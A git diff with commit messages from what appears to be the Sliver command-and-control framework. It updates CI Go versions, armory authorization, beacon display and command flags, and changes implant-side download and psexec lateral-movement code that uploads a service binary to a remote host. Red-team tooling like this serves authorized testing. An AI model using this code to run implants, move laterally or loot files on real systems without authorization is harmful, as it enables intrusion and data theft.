No compression by default

Add missing `--name` flag for beacon profiles

.github/CODEOWNERS

@@ -0,0 +1,2 @@
+* @moloch--
+* @rkervella

.github/workflows/autorelease.yml

@@ -17,7 +17,7 @@ jobs:
     - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '1.18.5'
     
     - name: OS Packages 
       run: |
@@ -68,7 +68,7 @@ jobs:
     - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '1.18.5'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -20,7 +20,7 @@ jobs:
       - name: Go 1.18
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.18"
+          go-version: "1.18.5"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -23,7 +23,7 @@ jobs:
     - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '1.18.5'
     
     - name: OS Packages 
       run: |
@@ -58,7 +58,7 @@ jobs:
     - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '1.18.5'
 
     - name: Mingw
       run: brew install mingw-w64

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.18.2
+FROM golang:1.18.5
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying

client/assets/armories.go

@@ -21,7 +21,9 @@ package assets
 import (
 	"encoding/json"
 	"io/ioutil"
+	"log"
 	"os"
+	"os/exec"
 	"path/filepath"
 )
 
@@ -30,8 +32,10 @@ const (
 )
 
 var (
+	// DefaultArmoryPublicKey - The default public key for the armory
 	DefaultArmoryPublicKey string
-	DefaultArmoryRepoURL   string
+	// DefaultArmoryRepoURL - The default repo url for the armory
+	DefaultArmoryRepoURL string
 
 	defaultArmoryConfig = &ArmoryConfig{
 		PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
 	}
 )
 
+// ArmoryConfig - The armory config file
 type ArmoryConfig struct {
-	PublicKey string `json:"public_key"`
-	RepoURL   string `json:"repo_url"`
+	PublicKey        string `json:"public_key"`
+	RepoURL          string `json:"repo_url"`
+	Authorization    string `json:"authorization"`
+	AuthorizationCmd string `json:"authorization_cmd"`
 }
 
 // GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
 	if err != nil {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}
+	for _, armoryConfig := range armoryConfigs {
+		if armoryConfig.AuthorizationCmd != "" {
+			armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
+		}
+	}
 	return append(armoryConfigs, defaultArmoryConfig)
 }
+
+func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
+	if armoryConfig.AuthorizationCmd == "" {
+		return ""
+	}
+	out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
+	if err != nil {
+		log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
+		return ""
+	}
+	return string(out)
+}

client/assets/settings.go

@@ -35,6 +35,7 @@ type ClientSettings struct {
 	BeaconAutoResults bool   `json:"beacon_autoresults"`
 	SmallTermWidth    int    `json:"small_term_width"`
 	AlwaysOverflow    bool   `json:"always_overflow"`
+	VimMode           bool   `json:"vim_mode"`
 }
 
 // LoadSettings - Load the client settings from disk
@@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
 		BeaconAutoResults: true,
 		SmallTermWidth:    170,
 		AlwaysOverflow:    false,
+		VimMode:           false,
 	}
 }
 

client/command/alias/install.go

@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
 		return
 	}
-	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
 	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		con.PrintInfof("Alias '%s' already exists", manifest.Name)
+		con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
 		confirm := false
 		prompt := &survey.Confirm{Message: "Overwrite current install?"}
 		survey.AskOne(prompt, &confirm)

client/command/alias/load.go

@@ -269,6 +269,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	} else {
 		extArgs = strings.Join(args, " ")
 	}
+
+	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
 	processName := ctx.Flags.String("process")
 	if processName == "" {

client/command/armory/armory.go

@@ -38,12 +38,15 @@ import (
 	"golang.org/x/term"
 )
 
+// ArmoryIndex - Index JSON containing alias/extension/bundle information
 type ArmoryIndex struct {
-	Aliases    []*ArmoryPackage `json:"aliases"`
-	Extensions []*ArmoryPackage `json:"extensions"`
-	Bundles    []*ArmoryBundle  `json:"bundles"`
+	ArmoryConfig *assets.ArmoryConfig `json:"-"`
+	Aliases      []*ArmoryPackage     `json:"aliases"`
+	Extensions   []*ArmoryPackage     `json:"extensions"`
+	Bundles      []*ArmoryBundle      `json:"bundles"`
 }
 
+// ArmoryPackage - JSON metadata for alias or extension
 type ArmoryPackage struct {
 	Name        string `json:"name"`
 	CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
 	IsAlias bool `json:"-"`
 }
 
+// ArmoryBundle - A list of packages
 type ArmoryBundle struct {
 	Name     string   `json:"name"`
 	Packages []string `json:"packages"`
 }
 
+// ArmoryHTTPConfig - Configuration for armory HTTP client
 type ArmoryHTTPConfig struct {
+	ArmoryConfig         *assets.ArmoryConfig
 	IgnoreCache          bool
 	ProxyURL             *url.URL
 	Timeout              time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
 }
 
 type indexCacheEntry struct {
-	RepoURL string
-	Fetched time.Time
-	Index   ArmoryIndex
-	LastErr error
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Index        ArmoryIndex
+	LastErr      error
 }
 
 type pkgCacheEntry struct {
-	RepoURL   string
-	Fetched   time.Time
-	Pkg       ArmoryPackage
-	Sig       minisign.Signature
-	Alias     *alias.AliasManifest
-	Extension *extensions.ExtensionManifest
-	LastErr   error
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Pkg          ArmoryPackage
+	Sig          minisign.Signature
+	Alias        *alias.AliasManifest
+	Extension    *extensions.ExtensionManifest
+	LastErr      error
 }
 
 var (
@@ -395,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
 		}
 	}
 
-	armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
+	armoryResult := &indexCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryConfig.RepoURL,
+	}
 	defer func() {
 		armoryResult.Fetched = time.Now()
 		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -431,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
 		for _, armoryPkg := range index.Extensions {
 			wg.Add(1)
 			armoryPkg.IsAlias = false
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
 		}
 		for _, armoryPkg := range index.Aliases {
 			wg.Add(1)
 			armoryPkg.IsAlias = true
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
 		}
 	}
 	wg.Wait()
 }
 
-func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
 	defer wg.Done()
 	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
 	if ok {
@@ -452,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
 		}
 	}
 
-	pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
+	pkgCacheEntry := &pkgCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryPkg.RepoURL,
+	}
 	defer func() {
 		pkgCacheEntry.Fetched = time.Now()
 		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -472,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
 	} else {
-		sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
+		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	}
 	if err != nil {
 		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)

client/command/armory/install.go

@@ -20,11 +20,13 @@ package armory
 
 import (
 	"errors"
+	"fmt"
 	"io/ioutil"
 	"net/url"
 	"os"
 	"path/filepath"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
 )
 
 var (
+	// ErrPackageNotFound - The package was not found
 	ErrPackageNotFound = errors.New("package not found")
 )
 
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	clientConfig := parseArmoryHTTPConfig(ctx)
 	refresh(clientConfig)
+	if name == "all" {
+		aliases, extensions := packagesInCache()
+		confirm := false
+		prompt := &survey.Confirm{
+			Message: fmt.Sprintf("Install %d aliases and %d extensions?",
+				len(aliases), len(extensions),
+			),
+		}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+	}
 	err := installPackageByName(name, clientConfig, con)
 	if err == nil {
 		return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
 func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
 	aliases, extensions := packagesInCache()
 	for _, alias := range aliases {
-		if alias.CommandName == name {
+		if alias.CommandName == name || name == "all" {
 			installAlias(alias, clientConfig, con)
-			return nil
+			if name != "all" {
+				return nil
+			}
 		}
 	}
 	for _, ext := range extensions {
-		if ext.CommandName == name {
+		if ext.CommandName == name || name == "all" {
 			installExtension(ext, clientConfig, con)
-			return nil
+			if name != "all" {
+				return nil
+			}
 		}
 	}
+	if name == "all" {
+		con.Printf("\n")
+		con.PrintInfof("All packages installed\n")
+		return nil
+	}
 	return ErrPackageNotFound
 }
 
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err

client/command/armory/parsers.go

@@ -58,13 +58,13 @@ const (
 )
 
 type armoryIndexResponse struct {
-	Minisig     string `json:"minisig"`      // Minisig
-	ArmoryIndex string `json:"armory_index"` // Base64 String
+	Minisig     string `json:"minisig"`      // Minisig (Base64)
+	ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
 }
 
 type armoryPkgResponse struct {
-	Minisig  string `json:"minisig"` // Minisig
-	TarGzURL string `json:"tar_gz_url"`
+	Minisig  string `json:"minisig"`    // Minisig (Base64)
+	TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
 }
 
 //
@@ -80,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	}
 
 	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
 	if err != nil {
 		return nil, err
 	}
@@ -92,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
-	index := &armoryIndexResponse{}
-	err = json.Unmarshal(body, index)
+
+	indexResp := &armoryIndexResponse{}
+	err = json.Unmarshal(body, indexResp)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
 	if err != nil {
 		return nil, err
 	}
 
 	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
+	valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
 	if !valid {
-		return nil, errors.New("invalid signature")
+		return nil, errors.New("index has invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{}
-	armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
+	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
 	if err != nil {
 		return nil, err
 	}
@@ -117,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 }
 
 // DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
-func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
@@ -125,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
 	}
 
 	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
 	if err != nil {
 		return nil, nil, err
 	}

client/command/beacons/beacons.go

@@ -142,17 +142,40 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 		}
 
 		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
+
 		var next string
+		var interval string
+
 		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			past := time.Since(nextCheckin)
-			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
+
+			} else {
+				interval = time.Since(nextCheckin).Round(time.Second).String()
+			}
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
 		} else {
-			eta := time.Until(nextCheckin)
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
+			} else {
+				interval = time.Until(nextCheckin).Round(time.Second).String()
+			}
+
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
 		}
 
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string
+
+		/*
+			Round the duration to the nearest second to be more output friendly.
+			We deal in seconds for everything, so it makes sense to show outputs
+			in seconds to remain consistent.
+		*/
+		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
+		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
+
 		if con.Settings.SmallTermWidth < width {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
@@ -163,7 +186,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
 				next,
 			}
 		} else {
@@ -173,7 +196,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
 				next,
 			}
 		}

client/command/commands.go

@@ -478,7 +478,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
 			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
-			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
+			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
+			f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1076,6 +1077,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
+			f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
@@ -1196,6 +1198,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("d", "service-description", "Sliver implant", "description of the service")
 			f.String("p", "profile", "", "profile to use for service binary")
 			f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
+			f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1458,6 +1461,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.String("c", "canary", "", "canary domain(s)")
 
+			f.String("N", "name", "", "implant name")
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
@@ -1520,6 +1524,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.String("c", "canary", "", "canary domain(s)")
 
+			f.String("N", "name", "", "implant name")
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
@@ -1799,6 +1804,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
 			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
 			f.String("n", "name", "", "name to assign the download if looting")
+			f.Bool("r", "recurse", false, "recursively download all files in a directory")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("remote-path", "path to the file or directory to download")
@@ -2483,7 +2489,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
-
+			f.Bool("a", "allow-all", false, "allow all users to connect")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -2775,7 +2781,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
-			f.Int("i", "id", 0, "id of portfwd to remove")
+			f.Uint64("i", "id", 0, "id of portfwd to remove")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -3242,7 +3248,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Args: func(a *grumble.Args) {
-			a.String("connection-string", "connection string to the Operator Host")
+			a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
 		},
 		Flags: func(f *grumble.Flags) {
 			f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")

client/command/exec/execute-assembly.go

@@ -58,13 +58,16 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
 
+	assemblyArgsStr := strings.Join(assemblyArgs, " ")
+	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
 		Request:   con.ActiveTarget.Request(ctx),
 		IsDLL:     isDLL,
 		Process:   process,
-		Arguments: strings.Join(assemblyArgs, " "),
+		Arguments: assemblyArgsStr,
 		Assembly:  assemblyBytes,
 		Arch:      ctx.Flags.String("arch"),
 		Method:    ctx.Flags.String("method"),

client/command/exec/execute-shellcode.go

@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 		return
 	}
 
-	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),

client/command/exec/psexec.go

@@ -21,6 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	insecureRand "math/rand"
 	"strings"
 	"time"
@@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
 		return
 	}
+	var serviceBinary []byte
 	profile := ctx.Flags.String("profile")
 	serviceName := ctx.Flags.String("service-name")
 	serviceDesc := ctx.Flags.String("service-description")
 	binPath := ctx.Flags.String("binpath")
+	customExe := ctx.Flags.String("custom-exe")
 	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
 
 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
-	if profile == "" {
-		con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
-		return
+	if customExe == "" {
+		if profile == "" {
+			con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+			return
+		}
+
+		// generate sliver
+		generateCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+		profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+		generateCtrl <- true
+		<-generateCtrl
+		var implantProfile *clientpb.ImplantProfile
+		for _, prof := range profiles.Profiles {
+			if prof.Name == profile {
+				implantProfile = prof
+			}
+		}
+		if implantProfile.GetName() == "" {
+			con.PrintErrorf("No profile found for name %s\n", profile)
+			return
+		}
+		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
+	} else {
+		// use a custom exe instead of generating a new Sliver
+		fileBytes, err := ioutil.ReadFile(customExe)
+		if err != nil {
+			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
+			return
+		}
+		serviceBinary = fileBytes
 	}
 
-	// generate sliver
-	generateCtrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
-	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("Error: %s\n", err)
-		return
-	}
-	generateCtrl <- true
-	<-generateCtrl
-	var implantProfile *clientpb.ImplantProfile
-	for _, prof := range profiles.Profiles {
-		if prof.Name == profile {
-			implantProfile = prof
-		}
-	}
-	if implantProfile.GetName() == "" {
-		con.PrintErrorf("No profile found for name %s\n", profile)
-		return
-	}
-	sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
 	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
-	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
 	uploadCtrl := make(chan bool)
 	con.SpinUntil("Uploading service binary ...", uploadCtrl)

client/command/exec/sideload.go

@@ -61,6 +61,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		ProcessName: processName,
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
+		IsUnicode:   ctx.Flags.Bool("unicode"),
 	})
 	ctrl <- true
 	<-ctrl

client/command/filesystem/cat.go

@@ -19,17 +19,20 @@ package filesystem
 */
 
 import (
+	"context"
 	"encoding/hex"
 	"fmt"
 	"os"
-	"path/filepath"
 
 	"github.com/alecthomas/chroma/formatters"
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
@@ -47,19 +50,55 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintCat(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintCat(download, ctx, con)
+	}
+}
+
+// PrintCat - Print the download to stdout
+func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		lootDownload bool = true
+		err          error
+	)
 	saveLoot := ctx.Flags.Bool("loot")
 	lootName := ctx.Flags.String("name")
 	userLootType := ctx.Flags.String("type")
 	userLootFileType := ctx.Flags.String("file-type")
-	var lootDownload bool = true
-
-	download, err := PerformDownload(filePath, filepath.Base(filePath), "console", ctx, con)
-
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}
 
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s", err)
+		}
+	}
+
 	if saveLoot {
 		lootType, err := loot.ValidateLootType(userLootType)
 		if err != nil {
